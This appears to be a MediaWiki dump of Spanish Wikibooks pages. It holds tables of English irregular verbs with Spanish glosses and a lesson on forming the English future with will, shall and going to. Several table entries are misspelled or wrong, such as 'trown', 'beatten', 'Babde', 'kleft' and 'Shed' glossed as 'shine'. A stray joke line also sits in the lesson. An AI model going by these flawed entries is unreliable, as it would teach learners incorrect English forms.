|underbid||underbid||underbid||ofrecer menos que
|-
|upset||upset||upset||volcar, trastornar
|}

===Verbos invariables en el pasado===
Es decir, verbos cuyos tiempos en pasado y participio son iguales y diferente al infinitvo.

*INFINITIVO (bring)
*PRETÉRITO (brought)
*PARTICIPIO PASADO (brought).

*''bring:'' trae (To bring = traer )
*''brought:'' traje
*''brought:'' traído.

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bend||bent||bent|| torcer, doblar, encorvar 
|-
|build||built||built|| edificar,construir 
|-
|burn||burnt||burnt|| quemar,arder  
|-
|creep||crept||crept|| arrastrarse, gatear 
|-
|deal|| dealt||dealt|| traficar 
|-
|dream||dreamt||dreamt|| soñar 
|-

|-
|dwell||dwelt||dwelt|| habitar, residir 
|-
|lean||leant||leant|| apoyarse 
|-
|leap||leapt||leapt||saltar
|-
|learn||learnt||learnt|| aprender
|-
|lend||lent||lent|| prestar
|-
|lose||lost||lost|| perder
|-
|mean||meant||meant|| significar, tener intención
|-
|rend||rent||rent|| rasgar
|-
|send||sent||sent|| enviar
|-
|smell||smelt||smelt|| oler
|-
|spell||spelt||spelt|| deletrear
|-
|spend||spent||spent|| gastar
|-
|spill||spilt||spilt|| derramar, verter
|-
|-steal| |stole| |stolen| |robar,hurtar
|-
|unbend||unbent||unbent|| aflojar, enderezar
|}
Dentro de este mismo grupo pueden incluirse algunos verbos que añaden t para formar el pretérito y el participio pasado, pero que, además, modifican su vocal tónica (aquella en la que recae el acento al pronunciarla). Entre estos verbos figuran los siguientes:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|feel||felt||felt|| palpar, sentir
|-
|keep||kept||kept|| guardar, mantener
|-
|kneel||knelt||knelt|| arrodillarse
|-
|leave||left||left|| dejar, partir
|-
|meet||met||met|| encontrar
|-
|sleep||slept||slept|| dormir
|-
|sweep||swept||swept|| barrer
|-
|weep||wept||wept|| llorar
|}
Pueden incluirse en este grupo algunos verbos que como excepción y además de modificar su vocal tónica, forman el pasado terminando en d en lugar de t, como los siguientes:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|bleed||bled||bled|| sangrar
|-
|feed||fed||fed|| alimentar, pacer
|-
|flee||fled||fled|| huír
|-
|hear||heard||heard|| oír
|-
|lead||led||led|| conducir, guiar
|-
|breed||bred||bred|| educar, criar, engendrar
|-
|mislead||misled||misled|| desorientar, inducir a error
|-
|slide||slid||slid|| resbalar, deslizarse
|-
|speed||sped||sped|| acelerar
|}

===Verbos totalmente diferentes=== 
Es decir, verbos cuyo infinitivo, pretérito y participio pasado se escribe y pronuncia de distinta forma. 

*INFINITIVO (break)
*PRETÉRITO (broke)
* PARTICIPIO PASADO (broken)

*''break:'' romper
*''broke:'' rompí
*''broken:'' roto 

Verbos que forman el pretérito con ED y el participio pasado con N
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|mow||mowed||mown|| segar
|-
|saw||sawed||sawn|| serruchar
|-
|sew||sewed||sewn|| coser
|-
|show||showed||shown|| mostrar, enseñar
|-
|sow||sowed||sown|| sembrar
|-
|strew||strewed||strewn|| esparcir
|}
Verbos que forman el pretérito cambiando la vocal tónica y añadiendo N al participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|shake||shook||shaken|| agitar, estremecerse
|-
|take||took||taken|| tomar, coger
|-
|choose||chose||chosen|| elegir
|-
|drive||drove||driven|| conducir
|-
|ride||rode||ridden|| cabalgar, montar
|-
|stride||strode||stridden|| andar a zancadas
|-
|write||wrote||written|| escribir
|-
|give||gave||given|| dar
|-
|grow||grew||grown|| crecer, cultivar
|-
|know||knew||known|| saber, conocer
|-
|rise||rose||risen|| levantarse, salir el sol, remontarse
|-
|blow||blew||blown|| soplar
|-
|throw||threw||trown|| tirar
|-
|see||saw||seen|| ver
|-
|bite||bit||bitten|| morder
|-
|hide||hid||hidden|| esconder
|-
|draw||drew||drawn|| dibujar, arrastrar, atraer
|-
|forsake||forsook||forsaken|| abandonar
|-
|overtake||overtook||overtaken|| llegarle a algo (alcanzar)
|-
|partake||partook||partaken|| participar
|-
|undertake||undertook||undertaken|| emprender
|-
|arise||arose||arisen|| surgir
|-
|overdrive||overdrove||overdriven|| excitar, apresurarse
|-
|bestride||bestrode||bestridden|| montar a horcajadas.
|-
|override||overrode||overriden|| dominar, supeditar, pasar por encima
|-
|smite||smote||smitten|| asolar, golpear
|-
|strive||strove||striven|| esforzarse, disputar
|-
|thrive||throve||thriven|| medrar, prosperar
|-
|forgive||forgave||forgiven|| perdonar
|-
|misgive||misgave||misgiven|| hacer temer (o dudar), llenar de dudas
|-
|overthrow||overthrew||overtrhrown|| volcar, vencer
|-
|slay||slew||slain|| matar, asesinar
|-
|foresee||foresaw||foreseen|| prever
|-
|chide||chid||chidden|| reñir, regañar
|-
|overdraw||overdrew||overdrawn|| exagerar, girar en descubierto
|-
|withdraw||withdrew||withdrawn|| retirar
|}
Incluiremos en esta clasificación aquellos verbos que modifican su vocal tónica en el pretérito y añaden &quot;en&quot; al infinitivo para formar su participio pasado. Son estos:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|eat||ate||eaten|| comer
|-
|forbid||forbade||forbidden|| prohibir
|-
|befall||befell||befallen|| acaecer
|}
Verbos que forman el pretérito cambiando la vocal tónica y añaden al mismo &quot;en&quot; para formar el participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|break||broke||broken|| romper
|-
|forget||forgot||forgotten|| olvidar
|-
|freeze||froze||frozen|| helar
|-
|speak||spoke||spoken|| hablar
|-
|steal||stole||stolen|| hurtar, robar
|-
|weave||wove||woven|| tejer, trenzar
|-
|wake||woke||woken|| despertar
|-
|fall||fell||fallen|| caer
|-
|beat||beat||beatten|| golpear
|-
|beget||begot||begotten|| engendrar
|-
|bespeak||bespoke||bespoken|| apalabrar, encomendar
|-
|browbeat||browbeat||browbeaten|| intimidar
|}
Verbos que solo añaden &quot;n&quot; para formar el participio pasado:
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|lie||lay||lain|| echarse, tumbarse, yacer
|-
|swear||swore||sworn|| jurar
|-
|tear||tore||torn|| despedazar, desgarrar
|-
|wear||wore||worn|| llevar puesto, usar
|-
|shear||shore||shorn|| esquilar
|-
|forswear||forswore||forsworn|| negar, perjurar, abjurar
|}
Verbos que añaden NE para formar el participio pasado
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|forbear||forbore||forborne|| abstenerse, aguantar
|-
|do||did||done|| hacer
|-
|go||went||gone|| ir
|-
|bear||bore||borne|| llevar, soportar
|-
|forego||forewent||foregone|| ceder, abandonar, renunciar
|-
|outdo||outdid||outdone|| sobrepasar, exceder
|-
|outgo||outwent||outgone|| exceder, aventajar, adelantarse
|-
|overdo||overdid||overdone|| exagerar, exceder, extralimitarse
|-
|underdo||underdid||underdone|| hacer menos de lo debido, asar poco.
|-
|undergo||underwent||undergone|| sufrir (operación, cambio, etc.)
|-
|undo||undid||undone|| deshacer
|}
Añadiremos a esta clasificación tres verbos que únicamente modifican la vocal tónica en el préterito siendo el participio pasado igual a su infinitivo.
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|come||came||come|| venir
|-
|become||became||become|| llegar a ser, hacerse
|-
|overcome||overcame||overcome|| vencer, triunfar
|}
Verbos con los tres tiempos totalmente distintos
Estos verbos únicamente cambian su vocal tónica por a para el pretérito y u para el participio pasado.
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|begin||began||begun|| empezar
|-
|drink||drank||drunk|| beber
|-
|ring||rang||rung|| sonar
|-
|run||ran||run|| correr
|-
|shrink||shrank||shrunk|| encogerse
|-
|sing||sang||sung|| cantar
|-
|sink||sank||sunk|| hundirse
|-
|spring||sprang||sprung|| saltar, brotar
|-
|stink||stank||stunk|| apestar
|-
|swim||swam||swum|| nadar
|-
|outrun||outran||outrun|| adelantar, correr más que
|}

Verbos irregulares inclasificables
{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|-
|be||was/were||been|| ser, estar
|-
|swell||swelled||swollen|| hinchar, aumentar
|-
|fly||flew||flown|| volar
|-
|tread||trod||trodden|| pisar, hollar
|}

==Lista de verbos irregulares del ingles==

{| class=&quot;wikitable sortable&quot; style=&quot;margin: 1em auto 1em auto&quot;
! Infinitivo !! Pasado !! Participio !! Español
|- 
| Abide
| Abode
| Abode
| Habitar, Soportar
|- 
| Arise
| Arose
| Arisen
| despertar
|- 
| Awake
| Awoke
| Awaken
| levantar
|- 
| Be
| Was/were
| Been
| Ser o Estar
|- 
| Bear
| Bore
| Bore/Born
| Llevar, Soportar (to be born -- nacer)
|- 
| Beat
| Beat
| Beaten
| Golpear
|- 
| Become
| Became
| Become
| Llegar o Ser
|- 
| Begin
| Began
| Begun
| Empezar
|- 
| Bend
| Bent
| Bent
| Doblar
|- 
| Bereave
| Bereft/Bereaved
| Bereft/Bereaved
| Privar
|- 
| Beseech
| Besought
| Besought
| Suplicar (literario)
|- 
| Bet
| Bet
| Bet
| Apostar
|- 
| Bid
| Babde
| Bidden
| Decir, rogar
|- 
| Bid
| Bid
| Bid
| Pujar, Ofertar
|- 
| Bind
| Bound
| Bound
| Atar/Unir
|- 
| Bite
| Bit
| Bitten
| Morder
|- 
| Bleed
| Bled
| Bled
| Sangrar
|- 
| Blow
| Blew
| Blown
| Soplar
|- 
| Break
| Broke
| Broken
| Romper
|- 
| Bring
| Brought
| Brought
| Traer
|- 
| Build
| Built
| Built
| Construir
|- 
| Burn
| Burnt/Burned
| Burnt/Burned
| Quemar
|- 
| Burst
| Burst
| Burst
| Estallar
|- 
| Buy
| Bought
| Bought
| Comprar
|- 
| Cast
| Cast
| Cast
| Tirar
|- 
| Catch
| Caught
| Caught
| Coger o Agarrar
|- 
| Chide
| Chid
| Chidden/chid
| Reprender
|- 
| Choose
| Chose
| Chosen
| Elegir
|- 
| Cleave
| Cleft
| kleft
| Hender
|- 
| Cling
| Clung
| Clung
| Adherirse
|- 
| Come
| Came
| Come
| Venir
|- 
| Cost
| Cost
| Cost
| Costar
|- 
| Creep
| Crept
| Crept
| Arrastrarse
|- 
| Cut
| Cut
| Cut
| Cortar
|- 
| Deal
| Dealt
| Dealt
| Tratar
|- 
| Dig
| Dug
| Dug
| Cavar
|- 
| Dive
| Dove
| Dived
| Sumergirse, zambullirse
|- 
| Do
| Did
| Done
| Hacer
|- 
| Draw
| Drew
| Drawn
| Dibujar
|- 
| Dream
| Dreamt/Dreamed
| Deamt/Dreamed
| Soñar
|- 
| Drink
| Drank
| Drunk
| Beber
|- 
| Drive
| Drove
| Driven
| Conducir
|- 
| Dwell
| Dwelt
| Dwelt
| Residir
|- 
| Eat
| Ate
| Eaten
| Comer
|- 
| Fall
| Fell
| Fallen
| Caerse
|- 
| Feed
| Fed
| Fed
| Alimentar
|- 
| Feel
| Felt
| Felt
| Sentir
|- 
| Fight
| Fought
| Fought
| Luchar
|- 
| Find
| Found
| Found
| Encontrar
|- 
| Flee
| Fled
| Fled
| Huir
|- 
| Fling
| Flung
| Flung
| Lanzar
|- 
| Fly
| Flew
| Flown
| Volar
|- 
| Forbid
| Forbad/Forbade
| Forbidden
| Prohibir
|- 
| Forget
| Forgot
| Forgotten
| Olvidar
|- 
| Forgive
| Forgave
| Forgiven
| Perdonar
|- 
| Freeze
| Froze
| Frozen
| Congelar
|- 
| Get
| Got
| Gotten
| Conseguir
|- 
| Give
| Gave
| Given
| Dar
|- 
| Go
| Went
| Gone
| Ir
|- 
| Grind
| Ground
| Ground
| Moler, triturar
|- 
| Grow
| Grew
| Grown
| Crecer
|- 
| Hang
| Hung
| Hung
| Colgar
|- 
| Have
| Had
| Had
| Tener
|- 
| Hear
| Heard
| Heard
| Oir
|- 
| Hew
| Hewed
| Hewn
| Picar, labrar piedra (raro)
|- 
| Hide
| Hid
| Hidden
| Esconder
|- 
| Hit
| Hit
| Hit
| Golpear
|- 
| Hold
| Held
| Held
| Sujetar
|- 
| Hurt
| Hurt
| Hurt
| Herir
|- 
| Keep
| Kept
| Kept
| Guardar, mantener
|- 
| Kneel
| Knelt
| Knelt
| Arrodillarse
|- 
| Knit
| Knit
| Knit
| Hacer Punto
|- 
| Know
| Knew
| Known
| Saber o Conocer
|- 
| Lade
| Laded
| Laden
|  Cargar (raro, excepto participio)
|- 
| Lay
| Laid
| Laid
| Poner o Extender
|- 
| Lead
| Led
| Led
| Dirigir
|- 
| Lead
| Led
| Led
| Guiar
|- 
| Lean
| Leant
| Leant
| Apoyar(se)
|- 
| Leap
| Leapt
| Leapt
| Saltar
|- 
| Learn
| Learnt
| Learnt
| Aprender
|- 
| Leave
| Left
| Left
| Dejar o Abandonar
|- 
| Lend
| Lent
| Lent
| Prestar
|- 
| Let
| Let
| Let
| Permitir
|- 
| Lie
| Lay
| Lain
| Tumbarse
|- 
| Lie
| Lied
| Lied
| Mentir
|- 
| Light
| Lit
| Lit
| Iluminar
|- 
| Lose
| Lost
| Lost
| Perder
|- 
| Make
| Made
| Made
| Construir, hacer (cosas físicas)
|- 
| Mean
| Meant
| Meant
| Significar
|- 
| Meet
| Met
| Met
| Encontrase con alguien
|- 
| Melt
| Melted
| Molten/Melted
| Derretir (metales)
|- 
| Mow
| Mowed
| Mown
| Segar
|- 
| Pay
| Paid
| Paid
| Pagar
|- 
| Put
| Put
| Put
| Poner
|- 
| Quit
| Quit
| Quit
|  Dejar, irse
|- 
| Read
| Read
| Read
| Leer
|- 
| Rend
| Rent
| Rent
| Partir, despedazar
|- 
| Rid
| Rid
| Rid
| Librar
|- 
| Ride
| Rode
| Ridden
| Montar
|- 
| Ring
| Rang
| Rung
| Sonar, Tocar el timbre
|- 
| Rise
| Rose
| Risen
| Elevar o Alzarse
|- 
| Run
| Ran
| Run
| Correr
|- 
| Saw
| Sawed
| Sawn
| (a)serrar
|- 
| Say
| Said
| Said
| Decir
|- 
| See
| Saw
| Seen
| Ver
|- 
| Seek
| Sought
| Sought
| Buscar
|- 
| Sell
| Sold
| Sold
| Vender
|- 
| Send
| Sent
| Sent
| Enviar
|- 
| Set
| Set
| Set
| Colocar
|- 
| Sew
| Sewed
| Sewn
| Coser
|- 
| Shake
| Shook
| Shaken
| Sacudir, agitar
|- 
| Shear
| Shore
| Shorn
| Esquilar
|- 
| Shed
| Shed
| Shed
| Brillar
|- 
| Shine
| Shone
| Shone
| Brillar
|- 
| Shoe
| Shod
| Shod
| Herrar
|- 
| Shoot
| Shot
| Shot
| Disparar
|- 
| Show
| Showed
| Shown
| Mostrar
|- 
| Shrink
| Shrank
| Shrunk/Shrunken
| encoger rehuir
|- 
| Shut
| Shut
| Shut
| cerrar
|- 
| Sing
| Sang
| Sung
| Cantar
|- 
| Sink
| Sank
| Sunk
| Hundir(se)
|- 
| Sit
| Sat
| Sat
| Sentarse
|- 
| Slay
| Slew
| Slain
| Matar(literario)
|- 
| Sleep
| Slept
| Slept
| Dormir
|- 
| Slide
| Slid
| Slid
| Deslizarse, resbalar
|- 
| Sling
| Slung
| Slung
| Tirar (con honda)
|- 
| Slink
| Slunk
| Slunk
| Escabullirse
|- 
| Slit
| Slit
| Slit
| Rajar
|- 
| Smell
| Smelt
| Smelt
| Oler
|- 
| Smite
| Smote
| Smitten
| Golpear
|- 
| Sow
| Sowed
| Sown
| Sembrar
|- 
| Speak
| Spoke
| Spoken
| Hablar
|- 
| Speed
| Sped
| Sped
| Acelerar
|- 
| Spell
| Spelt
| Spelt
| Deletrear
|- 
| Spend
| Spent
| Spent
| Gastar o Emplear
|- 
| Spill
| Spilt
| Spilt
| Derramar
|- 
| Spin
| Spun
| Spun
| Hilar,girar
|- 
| Spit
| Spat
| Spat
| Escupir
|- 
| Split
| Split
| Split
| Partir,Hender
|- 
| Spoil
| Spoilt
| Spoilt
| Estropear, mimar
|- 
| Spread
| Spread
| Spread
| Esparcir
|- 
| Spring
| Sprang
| Sprung
| Brotar, saltar
|- 
| Stand
| Stood
| Stood
| Estar o ponerse de pie
|- 
| Steal
| Stole
| Stolen
| Robar
|- 
| Stick
| Stuck
| Stuck
| Pegar, fijar
|- 
| Sting
| Stung
| Stung
| Picar
|- 
| Stink
| Stank
| Stunk
| Apestar
|- 
| Strew
| Strewed
| Strewn
| Esparcir, rociar
|- 
| Stride
| Strode
| Stridden
| Andar a zancadas
|- 
| Strike
| Struck
| Struck/Striken
| Golpear, atacar
|- 
| String
| Strung
| Strung
| Encordar, templar un instrumento musical
|- 
| Strive
| Strove
| Striven
| Esforzarse, ingeniárselas
|- 
| Swear
| Swore
| Sworn
| Jurar
|- 
| Sweep
| Swept
| Swept
| Barrer
|- 
| Swell
| Swelled
| Swollen/swelled
| Hincharse
|- 
| Swim
| Swam
| Swum
| Nadar
|- 
| Swing
| Swung
| Swung
| Balancearse
|- 
| Take
| Took
| Taken
| Coger, llevar
|- 
| Teach
| Taught
| Taught
| Enseñar
|- 
| Tear
| Tore
| Torn
| Rasgar
|- 
| Tell
| Told
| Told
| Contar
|- 
| Think
| Thought
| Thought
| Pensar
|- 
| Thive
| Throve
| Thriven
| Florecer, prosperar
|- 
| Throw
| Threw
| Thrown
| Arrojar Tirar Botar
|- 
| Thrust
| Thrust
| Thrust
| Meter, empujar insertar
|- 
| Tread
| Trod
| Trodden
| Pisar
|- 
| Understand
| Understood
| Understood
| Entender
|- 
| Wake
| Woke
| Woken
| Despertarse
|- 
| Wear
| Wore
| Worn
| Llevar puesto
|- 
| Weave
| Wove
| Woven
| Tejer
|- 
| Weep
| Wept
| Wept
| Sollozar
|- 
| Win
| Won
| Won
| Ganar
|- 
| Wind
| Wound
| Wound
| Dar cuerda, enrollar
|- 
| Wring
| Wrung
| Wrung
| Retorcer
|- 
| Write
| Wrote
| Written
| Escribir
|}

==Enlaces Externos==
*[http://neoparaiso.com/imprimir/lista-verbos-ingles.html Lista de 1200 verbos en Inglés]. - Lista de verbos en inglés con su frecuencia de uso, tipo, pronunciación, tiempos y traducción.
*[http://www.verbbusters.com/index_es.php verbbusters]. - Página gratuita para practicar los verbos irregulares. Con listas, ranking y busqueda rápida.
*[http://www.helloworld.com.es/english/downloads/englishvm.htm Learn Spanish and English Verbs]. - FREE verb conjugators/Trainers with over 600 translated commonly used regular and irregular verbs.
*[http://www.helloworld.com.es/english/quick%20reference/verbs/englishverblist.htm Gran lista de los verbos ingleses]. - Conjugadores de verbos GRATIS con más de 600 verbos regulares e irregulares comúnmente usados y traducidos.
*[http://www.verbbusters.com/vsearch.php verb search]. - Busqueda rápida de los verbos irregulares. Con audio
*[http://play.google.com/store/apps/details?id=com.pmqsoftware.game.irregularverbs&amp;hl=es Verbos irregulares en inglés para Android]. - Aplicación para practicar y aprender más fácil los verbos irregulares. Contiene audio, ejemplos con frases y el control de pronunciación.
 

{{AutoCat}}</text>
      <sha1>28j049x4sqakbv17p19zxcl1xnrixi4</sha1>
    </revision>
  </page>
  <page>
    <title>Física/Desarrollo</title>
    <ns>0</ns>
    <id>4847</id>
    <revision>
      <id>429953</id>
      <parentid>358350</parentid>
      <timestamp>2026-08-02T09:14:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429953</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="75" sha1="rh0h55vlmwqf7gdfp8p352wji09omps" xml:space="preserve">{{Desarrollo|50%|20:03 6 ene 2006 (UTC)}}&lt;noinclude&gt;{{Física}}&lt;/noinclude&gt;</text>
      <sha1>rh0h55vlmwqf7gdfp8p352wji09omps</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Desarrollo</title>
    <ns>0</ns>
    <id>4855</id>
    <revision>
      <id>429870</id>
      <parentid>330070</parentid>
      <timestamp>2026-08-01T22:08:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429870</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="65" sha1="dujba84v6b9bfxmtklh3iola4q69icp" xml:space="preserve">{{Desarrollo|75%|21 de noviembre de 2012}}&lt;noinclude&gt;&lt;/noinclude&gt;</text>
      <sha1>dujba84v6b9bfxmtklh3iola4q69icp</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/El tiempo futuro</title>
    <ns>0</ns>
    <id>6148</id>
    <revision>
      <id>429811</id>
      <parentid>422724</parentid>
      <timestamp>2026-08-01T22:00:38Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429811</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13586" sha1="0mtfq7l9d930krn42uuepuamp2l6cyj" xml:space="preserve">Existen dos formas básicas de crear el futuro en Inglés. La primera es utilizar la palabra &quot;will&quot; o el &quot;shall&quot; antes del verbo en infinitivo sin la partícula &quot;to&quot; (forma base del verbo), por ejemplo &quot;I will run&quot;, que significa &quot;Yo correré&quot;. La segunda es colocar &quot;going to&quot; seguido, al igual que en &quot;will&quot;, del verbo en infinitivo, pero además se debe colocar atrás de &quot;going to&quot; el verbo &quot;to be&quot; conjugado, por ejemplo &quot;I am going to run&quot;, que sería &quot;Yo voy a correr&quot;. El primer caso es generalmente utilizado cuando es una acción que se decide en el momento y promesas, mientras que el segundo está más relacionado con planes e intenciones.

=== '''Afirmativa''' ===

'''SUJETO + WILL + Verbo infinitivo'''

{| class=&quot;wikitable&quot; 

|-
| I will || I'll
|-
| you will || you'll
|-
| he will || he'll
|-
| she will || she'll
|-
| it will || it'll
|-
| we will || we'll
|-
| you will || you'll
|-
| they will || they'll
|}

* '''Will''' puede ser abreviado como ''' 'll''', por ejemplo: '''I'll help you.'''


* '''Sarath''': These bags are heavy (Estas bolsas son pesadas)
* '''Tom''': I will help you (Te ayudaré)
* '''Sarath''': I am going to buy food tomorrow (Voy a comprar comida mañana)

==== '''Negativa''' ====

''' SUJETO + WILL NOT / WON'T + Verbo infinitivo'''

{| class=&quot;wikitable&quot;
|-
| I will not || I won't
|-
| you will not || you won't
|-
| he will not || he won't
|-
| she will not || she won't
|-
| it will not || it won't
|-
| we will not || we won't
|-
| you will not || you won't
|-
| they will not || they won't
|}
Para la negación simplemente se agrega la palabra &quot;not&quot;. En el caso de &quot;will&quot; se coloca delante (&quot;I will not help you&quot;) y en &quot;going to&quot; detràs (&quot;I am 'not' going to&quot;).


'''Will not''' se abrevia como '''won't''', por ejemplo: '''I won't help you.'''

==== '''Interrogativa''' ====

''' WILL + SUJETO + Verbo infinitivo ... ? '''


{| class=&quot;wikitable&quot;
|-
| Will i ... ?
|-
| Will you ... ?
|-
| Will he ... ?
|}

* '''Will'''
* El futuro, en los verbos castellanos, tiene sus complicaciones. ¡Esto no ocurre en inglés! Anteponga '''will''' a la forma verbal y ya se acabó. Así, '''He goes home''' (él va a casa) es, en futuro, '''He'll go home''' (él irá a casa).


* '''Shall'''
* Lo mismo que '''will''', '''shall''' auxilia al verbo para indicar el futuro. Esta forma se utiliza generalmente para las primeras personas, singular y plural (Yo, Nosotros), mientras '''will''' se deja para los restantes.

* '''WILL''' o '''SHALL''', delante de una forma verbal cualquiera, '''significan que está en futuro'''.


* '''I shall go''' (Yo iré)
* '''You will go''' (Tú irás, usted irá)
* '''He, she, it will go''' (El, ella, ello irá)
* '''We shall go''' (Nosotros iremos)
* '''You will go''' (Vosotros iréis, ustedes irán)
* '''They will go''' (Ellos, ellas irán)

En las gramáticas inglesas fijan las siguientes reglas para formar el futuro:

a) Cuando la acción que se ha de expresar en futuro indica mero porvenir, o sea, cuya realización no depende del que habla, se utiliza:
* '''SHALL''' para '''I, we.'''
* '''WILL''' para '''you, he, she, it, you, they.'''

b) Cuando la acción que se ha de expresar en futuro indica ''voluntad de hacer'', o sea, cuya realización depende del que habla, se utiliza:
* '''WILL''' para '''I, we.'''
* '''SHALL''' para '''you, he, she, it, you, they.'''

c) El futuro debe indicarse con el auxiliar '''will''' o '''shall''' y el infinitivo del verbo principal, del que ha de eliminar la partícula '''to''' (partícula que indica '''precisamente''' el infinitivo. Así, '''to be''' equivale a nuestro ''ser''; '''to go''', ''ir''; '''to have''', ''tener'', etc.).

d) Para formar el futuro en las frases interrogativas, negativas e interrogativo-negativas, debe proceder así:
* 1. Si la frase es interrogativa, el pronombre ha de ir entre '''will''' o '''shall''' y el verbo principal:
'''Will they go to New York?''' (¿Irán -ellos- a Nueva York?)
* 2. Si la frase es negativa, la partícula '''not''' va detrás de '''will''' o '''shall''', y sigue luego el verbo principal:
'''They will not go to New York''' (Ellos no irán a Nueva York)
* 3. Si la frase es interrogativo-negativa, se inicia con el auxiliar '''will'' o '''shall''', sigue el pronombre y luego la partícula '''not''' que antecede al verbo principal:
'''Will they not go to New York? (¿No irán ellos a Nueva York?)


* '''Futuro realizado'''

* Nuestro ''ir a'' se traduce en inglés por '''to be going to''' (estar yendo a)
* Con '''to be going to''' expresamos ese ''futuro'' que está bajo nuestro absoluto control, un porvenir ''en el bolsillo'' de uno, porque todo lo tiene previsto y ni nadie ni nada puede impedir que sea realidad en su día.
* '''I am going to New York next month'''

* Quede bien entendido, pues, que un inglés usará la forma continua del verbo '''to go (going to...)''' para expresar ''futuro realizado'' y se entenderá por ''realizada'' toda expresión de porvenir en la que deba manifestar el que habla '''la seguridad absoluta''' de su posterior realizacion.
* Y ¿que ocurre cuando no tenemos esta seguridad?
* Es ahora cuando vuelven a intervenir los auxiliares '''shall''' y '''will'''.


* Analisis de '''SHALL''' y '''WILL'''.

* a) Simple porvenir
* I '''shall'''
* you will
* he will
* we '''shall'''
* you will
* they will

b) Voluntad, orden o promesa
* I '''will'''
* you shall
* he shall 
* we '''will'''
* you shall
* they shall

* Si solamente quiero afirmar una cosa que sucederá en el porvenir; algo que no depende de mi voluntad sino de la de los otros (como sería, por ejemplo, que ''me llevaran'' en lugar de ''ir por mi cuenta''), habré de decir en inglés:
* '''I SHALL BE in Sevilla tomorrow''' (Mañana '''estaré''' en Sevilla)
* Pero si es una determinación mía el ir a Sevilla y el ''estar'' en Sevilla mañana, en inglés debo decir:
* '''I WILL BE in Sevilla tomorrow''' (Mañana '''estaré''' en Sevilla)
* ''' Raziel Will be in love with you for ever!


* Recurso

* Si tiene alguna duda en cuanto a cuál ha de ser el auxiliar ('''will''' o '''shall''') a emplear para formar el futuro:
* '''Utilice WILL para todas las personas y ya vale.'''
* Recuerde que '''will''' expresa mero porvenir si nos referimos a los demás, y voluntad si nos referimos a nosotros mismos.
* Los ingleses han comprendido esto y el recurso que le ofrecemos para evitarse quebraderos de cabeza lo usan siempre.
* '''I'll see you to-morrow'''
* Esto puede decir:
* '''I shall see you...''' o bien '''I will see you...'''
* Con ''ll'' los ingleses ''se lavan las manos'' y dejan a la opinión de los demás el interpretar si se trata de un deseo o de una orden.

* Cabe citar que ''shall'', ya no se suele usar, es una palabra, que con el paso del tiempo, se ha vuelto un arcaismo,&lt;br /&gt; o de poco uso. Actualmente solo se usa ''will''.

== Resumen con los correspondientes ejemplos ==

Para formar el futuro simple necesitamos colocar &quot;will&quot; (no se traduce al español, sólo traduciremos el otro verbo en futuro) seguido de otro verbo. A veces podemos encontrar la forma &quot;shall&quot; en vez de &quot;will&quot; para las personas &quot;I&quot; (yo) y &quot;we&quot; (nosotros). 

* '''''I shall''' buy a book on computers.'' - Me compraré un libro sobre ordenadores
* '''''They will''' play football again very soon. '' - Jugarán al fútbol muy pronto otra vez.
* ''Jared, '''I will''' always love you.'' - Jared, siempre te querré.

Para la forma negativa usamos &quot;not&quot; (no) detrás de &quot;will&quot; o &quot;shall&quot;. 

* ''I will not ('''won't''') go to the cinema with them.'' - No iré al cine con ellos
* ''We will not ('''won't''') stay in that hotel ever again.'' - No nos alojaremos en ese hotel nunca más

Para la forma interrogativa colocamos &quot;will&quot; o &quot;shall&quot; delante de la persona. 

* '''''Will you''' go abroad some time?'' - ¿Irás al extranjero alguna vez?
* '''''Will they''' finish that course they started?'' - ¿Terminarán ese curso que empezaron?

== Futuro perfecto progresivo ==

El futuro perfecto progresivo significa acciones continuas en el futuro perfecto, este dice que cuando una acción en el futuro va a ser una acción continua que ya ha pasado antes de un en comparación con una otra acción en el futuro. Esta forma de los verbos no es muy corriente, y no se escucha casi nunca excepto en libros. 

Para formar el futuro perfecto progresivo en inglés, ponga el futuro perfecto del verbo &quot;to be&quot; antes del gerundio del verbo. En español esta forma del verbo es igual como el futuro perfecto normalmente, pero se forma también por usando el método dicho en la frase previa si quiere énfasis.

La conjugación en inglés es

I will have been ...ing
You will have been ...ing
He/She/It will have been ...ing
We will have been ...ing
You will have been ...ing
They will have been ...ing

Para formar el gerundio en inglés, use el infinitivo del verbo y añada &quot;ing&quot;

